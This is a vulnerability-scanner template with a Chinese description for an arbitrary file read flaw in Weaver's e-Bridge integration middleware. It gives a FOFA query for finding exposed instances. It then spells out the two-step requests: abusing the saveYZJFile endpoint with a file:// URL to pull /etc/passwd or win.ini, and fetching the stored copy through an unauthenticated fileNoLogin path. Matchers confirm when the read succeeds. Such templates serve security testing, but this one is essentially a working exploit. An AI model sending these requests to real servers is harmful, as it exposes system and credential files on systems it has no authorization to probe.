漏洞描述
泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。
fofa-query: title=“泛微云桥”
id: weaver-ebridge-file-read
info:
name: 泛微云桥e-bridge任意文件读取漏洞
author: mvhz81
severity: critical
description: |
泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。
fofa-query: title=“泛微云桥”
reference:
- https://mrxn.net/Infiltration/323.html
rules:
linux0:
request:
method: GET
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
output:
search: '"\\\"id\\\"\\:\\\"(?P<var>.+?)\\\"\\,".bsubmatch(response.body)'
var: search["var"]
linux1:
request:
method: GET
path: /file/fileNoLogin/{{var}}
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
windows0:
request:
method: GET
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
output:
search: '"\\\"id\\\"\\:\\\"(?P<var>.+?)\\\"\\,".bsubmatch(response.body)'
var: search["var"]
windows1:
request:
method: GET
path: /file/fileNoLogin/{{var}}
expression: response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
expression: linux0() && linux1() || windows0() && windows1()